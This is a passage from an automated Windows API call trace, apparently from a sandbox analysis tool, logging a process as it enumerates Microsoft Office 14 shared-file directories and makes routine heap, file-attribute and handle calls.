ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.581] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.581] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9067d0 [0235.581] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904a38 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9068d8 [0235.581] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x440) returned 0x8ffe90 [0235.581] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.581] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.581] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0235.581] GetLastError () returned 0x12 [0235.581] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0235.581] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0235.582] GetLastError () returned 0x12 [0235.582] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9066c8) returned 1 [0235.582] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.582] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9067d0) returned 1 [0235.582] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9061a0) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0235.582] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0235.582] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9061a0 [0235.583] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0235.583] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.583] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.583] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.583] NtClose (Handle=0x1b8) returned 0x0 [0235.583] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9061a0) returned 1 [0235.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9061a0 [0235.583] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9067d0 [0235.583] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0235.642] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.716] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0235.717] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0235.717] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0235.717] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0235.717] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0235.717] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.721] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.725] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0235.725] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0235.725] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0235.725] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0235.726] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0235.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.726] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.733] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.733] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.734] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0235.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.734] RtlFreeHeap 